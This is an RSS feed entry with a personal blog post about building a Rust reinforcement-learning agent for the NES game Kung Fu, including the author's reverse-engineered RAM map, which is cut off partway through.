<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Shantanu Vs The World</title><link>https://shantanugoel.com/</link><description>Recent content on Shantanu Vs The World</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 15 Feb 2026 12:55:45 +0530</lastBuildDate><atom:link href="https://shantanugoel.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Lessons in Human Psychology, Or How I taught Machines Kung Fu</title><link>https://shantanugoel.com/2026/02/15/teach-machines-kungfu/</link><pubDate>Sun, 15 Feb 2026 12:55:45 +0530</pubDate><guid>https://shantanugoel.com/2026/02/15/teach-machines-kungfu/</guid><description>&lt;h2 id="i-know-learnt-kung-fu"&gt;I &lt;del&gt;Know&lt;/del&gt; Learnt Kung Fu&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2026/kungfu.png" alt="I Know Kung Fu"&gt;&lt;/p&gt;
&lt;p&gt;Imagine yourself in a Hollywood Thriller. You wake up in a dark room without any memory of how you got there or what are you doing there. All you know is you need to get out somehow but don&amp;rsquo;t have any instructions on how to do so. You can&amp;rsquo;t really see anything, but someone keeps shouting random words. Every time you do something, you either feel a sharp bout of pain or a bit of exhilaration that becomes your sole guide. Gradually, you figure out the connection between those random words and your actions and you start making your way through and soon see the light at the end of the tunnel.&lt;/p&gt;</description><content>&lt;h2 id="i-know-learnt-kung-fu"&gt;I &lt;del&gt;Know&lt;/del&gt; Learnt Kung Fu&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2026/kungfu.png" alt="I Know Kung Fu"&gt;&lt;/p&gt;
&lt;p&gt;Imagine yourself in a Hollywood Thriller. You wake up in a dark room without any memory of how you got there or what are you doing there. All you know is you need to get out somehow but don&amp;rsquo;t have any instructions on how to do so. You can&amp;rsquo;t really see anything, but someone keeps shouting random words. Every time you do something, you either feel a sharp bout of pain or a bit of exhilaration that becomes your sole guide. Gradually, you figure out the connection between those random words and your actions and you start making your way through and soon see the light at the end of the tunnel.&lt;/p&gt;
&lt;p&gt;This, in a nutshell, is Reinforcement Learning. What I thought would be a short project teaching an AI how to play a game, became a master class in what motivates people to do something.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Finally, the agent learnt a simple trick to beat the game and optimize for the shortest path to success, even though it had learnt to fight and defend pretty well. &lt;strong&gt;Just run&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the 1980s and 90s, we spent hours and hours role playing as Kung Fu Masters in the classic NES game of the same name, also known as Spartan-X in Japan. Trying to go faster, clearing the stages in the least amount of time, with the minimal but precisely delivered punches and kicks was the aim. Last week, I took it upon myself to teach a machine to be as good as myself at it (a tall order, I know). This, is a story of how I built an agent in Rust, and trained it to be Jackie Chan. Buckle up, it&amp;rsquo;s going to be a bit long!&lt;/p&gt;
&lt;p&gt;(PS: If you can&amp;rsquo;t wait and just want to see it in action, there&amp;rsquo;s a video at the bottom of the post. See it, but come back to read. It&amp;rsquo;s going to be interesting, I promise. Full code is available and this post will teach you enough to be able to change things and train your own agent in your own style!)
&lt;img src="https://shantanugoel.com/img/2026/Kung_Fu_NES_box.png" alt="Kung Fu Master / Spartan-X "&gt;&lt;/p&gt;
&lt;h2 id="reinforcement-learning-state-action-reward-done"&gt;Reinforcement Learning: State, Action, Reward, Done&lt;/h2&gt;
&lt;p&gt;These are the key building blocks of any RL problem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;State: The current situation of the environment. In our case, this is the current state of the game, which includes the positions of the player, enemies, and any other relevant information.&lt;/li&gt;
&lt;li&gt;Action: The possible moves the agent can make. In our case, this includes moving left, moving right, jumping, punching, kicking, etc.&lt;/li&gt;
&lt;li&gt;Reward: The feedback the agent receives after taking an action. In our case, this could be points scored for defeating an enemy, losing a life, or completing a level and other things.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;rsquo;ll talk a bit about each of these in the context of our game, how I implemented them, and how the challenges faced evolved the architecture of the agent and the training process.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The agent held up a mirror. How many times do we optimize for the wrong metrics? Chase points instead of purpose? Take the path of least resistance when the scenic route teaches more?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="state-let-there-be-light-giving-eyes-to-the-machine"&gt;State: Let there be light! Giving eyes to the machine&lt;/h2&gt;
&lt;p&gt;Google&amp;rsquo;s Deepmind released their seminal DQN (Deep Q Network) paper that introduced deep reinforcement learning (RL) to play Atari games was released in 2013, more than a decade ago from now. One of the games they played with their network at that time was Kung Fu Master for Atari. They gave literal eyes to the network, giving it a feed of raw pixels from the game&amp;rsquo;s frames being rendered combining a CNN with a Q-learning algorithm. This served as the &lt;code&gt;State&lt;/code&gt; for the network.&lt;/p&gt;
&lt;p&gt;I chose a slightly different architecture, a Dueling Double DQN, that improves upon the original paper but more importantly I chose to do it &lt;em&gt;The Cypher Way&lt;/em&gt;. Cypher doesn&amp;rsquo;t need to see an image. The code IS his image.
(PS: The code of this project is here if you want to follow along while reading this post: &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust"&gt;https://github.com/shantanugoel/kungfu_nes_rl_rust&lt;/a&gt;)
&lt;img src="https://shantanugoel.com/img/2026/code.png" alt="You get used to it. I don&amp;rsquo;t even see the code"&gt;&lt;/p&gt;
&lt;h3 id="emulators-our-lord-and-savior"&gt;Emulators, our Lord and Savior&lt;/h3&gt;
&lt;p&gt;All these classics would&amp;rsquo;ve been lost to history, were it not for the kind and awesome folks who make emulators for these older consoles. These emulators, besides giving us the joy to play the games, also expose a lot of debug tooling that we can use to know and understand the Ins and Outs of the games. &lt;code&gt;FCEUX&lt;/code&gt; is a pretty popular emulator but it hasn&amp;rsquo;t made a release in a few years and needs Rosetta to be installed on macOS M-series machines. So I went with &lt;code&gt;Mesen 2&lt;/code&gt;, which turned out to be an equally (if not more) competent emulator for our purpose. Not only it is pretty full featured to support all the gaming features, but has a good amount of debug tooling as well, e.g. a nice Memory Viewer which is the most essential.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2026/emulator-ram.png" alt="Mesen 2 with Memory Debugger"&gt;&lt;/p&gt;
&lt;p&gt;So, I fired up Mesen, loaded the ROM for the game and started poking around to see how I can get the state of the game. My first thought was &amp;ldquo;Surely, someone must have done this earlier for this game, given how popular it was and we should have a lot of information available about the code and where the game state is stored in the memory&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I was WRONG. There&amp;rsquo;s surprisingly little information available about the inner workings of the game, and I had to do a lot of reverse engineering to figure out what is what.
I painstakingly stepped through frame by frame, looking at the bits that changed everywhere, correlating them with what I was seeing on the screen and trying to figure out what they represent. At various points I wrote lua scripts to dump the memory into files per frame and coordinated with a python script to diff the contents in real time per frame to narrow down the choices, but a lot of the time I just eyeballed things.
This took easily the most amount of time in all of my work, both in determining what actual features should I put into the state that would make sense and how to figure out where they are in the memory.&lt;/p&gt;
&lt;h3 id="80s-a-time-of-total-chad-programmers"&gt;80s: A time of total chad programmers&lt;/h3&gt;
&lt;p&gt;The things that made it more difficult for me was that the game uses a lot of clever tricks given how low on resources the consoles used to be those days. Few such things I discovered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I was trying to get the positions of the player and the enemies, I kept faltering even after I discovered the memory locations. Debugging this through the Tilemap viewer and the sprite viewer, I found that when the player moves, even though his coordinates are changing, he isn&amp;rsquo;t really moving. The game keeps the player literally fixed in the center of the screen and scrolls the background instead in a window of fixed width in the opposite direction, and efficiently brings in the enemies as sprites. The window keeps wrapping around giving the illusion of continuous progress. You can see below how little is actually changing on the screen at any given time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2026/move_background.gif" alt=""&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The game had also dedicated only 1 byte each for the x and y position of the player and it kept wrapping around from 255 to 0 as I moved leftwards. And there was a &lt;code&gt;page&lt;/code&gt; number change that happened whenever the player&amp;rsquo;s x coordinate hit 0x7F.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The game also had only 4 slots to process any enemies on the screen (except the boss which had its own slot). And those slots kept getting recycled and reused as the enemies kept dying or appearing. This was even across the different types of enemies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The throwables on the screen, like the knives from the knife throwers, had their own separate slots.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Different things and types of enemies had different characteristics of attack patterns and velocity of movement, everything cycling through a discrete value somewhere in RAM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All of these, and many more such things, meant that I had to spend a lot of time to figure out how they interacted with the player, e.g. where they were relatively placed at any given point of time and how soon they will reach, were they about to make a specific type of attack and going through that cycle (e.g. a knife thrower pulling the hand back, and then either raising it or lowering it before it throws a knife meant the cycle branched in different directions)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A lot of the things were BCD encoded across several bytes (E.g. the timer, and the score) and others were pure hex numbers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A lot of these states were continuous but with skips/glitches/wraparounds (like the movement x/y) and others were discrete ones which I had to decide whether to encode them as one-hot or just scale them as a scalar.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="but-we-find-a-way"&gt;But we find a way&lt;/h3&gt;
&lt;p&gt;Everything was not bad though. A couple of advantages I had were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given the low amount of working RAM the game had at its disposal (just 2 KB), it often brought a lot of the parameters in to the first page (0x00 to 0xFF - 255 bytes) from other areas of RAM and ROM so it could access them faster.&lt;/li&gt;
&lt;li&gt;Mesen has a very nice lua scripting interface, so I wrote a &lt;code&gt;God Mode&lt;/code&gt; &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/scripts/god_mode.lua"&gt;script&lt;/a&gt; which allowed me to explore the game easily. I made the script so that it gave me infinite health, killed any enemy as soon as it appeared on the screen, and kept overwriting the timer to always have 9999 seconds left so it didn&amp;rsquo;t time out.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I started out on Day 1, doing a lot of research, and building around 49 parameters which I thought was pretty extensive. Little did I know that I will have to keep figuring out more and more as I tried and failed. Few examples of things I added as I went along, and there were many more besides figuring out their limits and their nature to determine their encoding etc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The knives had their owne sequence for their life cycle&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Figuring out which direction the player and the enemies are facing. This was crucial for it to learn whether to hit behind or in front&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I had to add the player pose and state to also see what the player was doing when something happened. Just x/y wasn&amp;rsquo;t enough because a different pose/state would mean its hitbox covering different tiles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some enemies died with a single hit, while others had multi-hit &lt;code&gt;energy&lt;/code&gt; locations to be figured out, and then the Boss had his own full health bar to be tracked.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Figuring out how to see if the boss or a particular type of enemy is actually active on the screen or not, because the game didn&amp;rsquo;t clear off dead/not-yet-appeared enemies&amp;rsquo; states from the RAM to save cycles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The enemy velocity was nowhere to be found, most likely hardcoded into the ROM. So I had to deduce it by doing a frame diff.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A special &lt;code&gt;Shrug&lt;/code&gt; state where the grabbers grab the agent, making it unable to move. Without this, suddenly the output of action is gone!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each of these fixes, as I figured them out, felt like cleaning a fogged lens. Suddenly the agent could make sense of the things because &lt;code&gt;The Matrix&lt;/code&gt; was all around him.&lt;/p&gt;
&lt;p&gt;Finally I settled on a 99-parameter state representation made out of the RAM map I pieced together as below:&lt;/p&gt;
&lt;p&gt;Link: &lt;a href="https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/RAM_MAP.md"&gt;https://github.com/shantanugoel/kungfu_nes_rl_rust/blob/main/RAM_MAP.md&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-md" data-lang="md"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# RAM Map - Kung Fu (NES)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This document tracks the memory addresses used for state extraction in the &lt;span style="color:#e6db74"&gt;`kungfu_rl_rs`&lt;/span&gt; project.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Confirmed Addresses
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Address | Name | Size | Description | Potential Values / Meanings |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| :--- | :--- | :--- | :--- | :--- |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x005C`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_LIVES`&lt;/span&gt; | 1 | Remaining lives. | Typically 0-5 (3 at start). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00D4`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_X`&lt;/span&gt; | 1 | Player horizontal position. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00D3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_X`&lt;/span&gt; | 1 | Boss horizontal position. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00B6`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_Y`&lt;/span&gt; | 1 | Player vertical position. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00B5`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_Y`&lt;/span&gt; | 1 | Boss vertical position. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x04A6`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_HP`&lt;/span&gt; | 1 | Player health points (see Technical Notes). | 0-48 expected, &lt;span style="color:#e6db74"&gt;`0xFF`&lt;/span&gt; sentinel during death. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x04A5`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_HP`&lt;/span&gt; | 1 | Same as Player at least on floor 1. | 0-48, &lt;span style="color:#e6db74"&gt;`0xFF`&lt;/span&gt; sentinel during death. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x036E`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_POSE`&lt;/span&gt; | 1 | Player pose/animation index. | Changes with actions and movement. Also in 0x0069|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x036F`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_STATE`&lt;/span&gt; | 1 | Player direction and attack state (see Notes). | Low nibble: direction/stance; high nibble: attack type. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0065`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PAGE`&lt;/span&gt; | 1 | Screen/page number for horizontal scroll. | Increments/decrements on screen transitions. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00CE - 0x00D1`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_X`&lt;/span&gt; | 4 | X positions for enemy slots 0 through 3. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0087 - 0x008A`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_TYPE`&lt;/span&gt; | 4 | Enemy type identifiers for slots 0 through 3. | 0-7 observed (enemy class id). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00B0 - 0x00B3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_Y`&lt;/span&gt; | 4 | Y positions for enemy slots 0 through 3. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00C0 - 0x00C3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_FACING`&lt;/span&gt; | 4 | Facing direction for enemy slots 0 through 3. | 0/Non-zero (L/R). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00C5`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_FACING`&lt;/span&gt; | 1 | Facing direction for boss. | 0/Non-zero (L/R). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00DF - 0x00E2`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_POSE`&lt;/span&gt; | 4 | Animation state for enemy slots 0 through 3. | Nonzero indicates active; &lt;span style="color:#e6db74"&gt;`0x7F`&lt;/span&gt; seen as inactive. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00B7 - 0x00BA`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_ATTACK`&lt;/span&gt; | 4 | Attack state for enemy slots 0 through 6. | Nonzero indicates active; &lt;span style="color:#e6db74"&gt;`0x7F`&lt;/span&gt; seen as inactive. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00BC`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_ATTACK`&lt;/span&gt; | 1 | Attack state for Boss. | Cycles 0 through 9. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x04A0 - 0x04A3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`ENEMY_ENERGY`&lt;/span&gt; | 4 | Enemy energy per slot 0 through 3. | See Enemy Energy Behavior. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x03D4 - 0x03D7`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`KNIFE_X`&lt;/span&gt; | 4 | Knife projectile X positions for slots 0 through 3. | 0-255; 0 or &lt;span style="color:#e6db74"&gt;`0xF9`&lt;/span&gt; when off-screen. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x03D0 - 0x03D3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`KNIFE_Y`&lt;/span&gt; | 4 | Knife projectile Y positions for slots 0 through 3. | 0-255 (screen-space). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x03EC - 0x03EF`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`KNIFE_STATE`&lt;/span&gt; | 4 | Knife active + facing for slots 0 through 3. | &lt;span style="color:#e6db74"&gt;`0x00`&lt;/span&gt; inactive, &lt;span style="color:#e6db74"&gt;`0x11`&lt;/span&gt; facing right, &lt;span style="color:#e6db74"&gt;`0x01`&lt;/span&gt; facing left. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x03F0 - 0x03F3`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`KNIFE_THROW_SEQ`&lt;/span&gt; | 4 | Knife throw sequence counter for slots 0 through 3. | Increments on throw; cycles 0-3. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x03B1`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`KILL_COUNTER`&lt;/span&gt; | 1 | Total number of enemies defeated in current run. | Monotonic counter, wraps at 255. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0531 - 0x0536`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`SCORE_DIGITS`&lt;/span&gt; | 6 | BCD-encoded score digits. | Each byte is a single digit 0-9 (low nibble). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0501 - 0x0506`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`TOP_SCORE_DIGITS`&lt;/span&gt; | 6 | BCD-encoded score digits. | Each byte is a single digit 0-9 (low nibble). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0390 - 0x0393`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`TIMER_DIGITS`&lt;/span&gt; | 4 | BCD-encoded timer digits. | Four-digit timer (e.g., 1079). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x005F`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`FLOOR`&lt;/span&gt; | 1 | Tracks the current stage/floor level. | Small integer that increments on floor transition (0-5 or 1-6). |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x00E4`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`BOSS_ACTIVE`&lt;/span&gt; | 1 | Boss is active or not. Use other boss signals based on this. | 0 when not active, 1 when active, 0x7F when died |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x373`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`SHRUG_COUNTER`&lt;/span&gt; | 1 | Enemies (grabbers) hugging the player | Count of how many enemies are hugging the players right now, so can be between 0 to 4 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Unconfirmed / To Verify
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Address | Name | Status | Notes | Potential Values / Meanings |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| :--- | :--- | :--- | :--- | :--- |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;`0x0050`&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;`PLAYER_STATE`&lt;/span&gt; | To Verify | Legacy placeholder, superseded by &lt;span style="color:#e6db74"&gt;`0x036F`&lt;/span&gt;. | Remove from code once unused. |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Technical Notes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### Player HP Behavior
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The &lt;span style="color:#e6db74"&gt;`PLAYER_HP`&lt;/span&gt; address (&lt;span style="color:#e6db74"&gt;`0x04A6`&lt;/span&gt;) occasionally reads &lt;span style="color:#e6db74"&gt;`0xFF`&lt;/span&gt; during the death sequence or transition.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; Treatment: When reading this value for reinforcement learning observations, treat it as &lt;span style="color:#e6db74"&gt;`0`&lt;/span&gt; (dead) or clamp to the expected maximum range to avoid reward spikes.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; Observed range: 0-48 for this ROM.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### Score Mapping
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The address &lt;span style="color:#e6db74"&gt;`0x0534`&lt;/span&gt; specifically maps to one of the decimal places in the HUD score. Any previous documentation suggesting this is &lt;span style="color:#e6db74"&gt;`BOSS_HP`&lt;/span&gt; should be disregarded.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### Player State Encoding (`0x036F`)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Low nibble:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 0: left standing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 1: right standing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 2: left facing down
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 3: right facing down
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 4: left facing jump
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 5: right facing jump
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;High nibble:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 0: neutral
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 1: kicking
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 2: punching
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; (possible 1/2 combo for attacking)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### Knife/Projectile Behavior
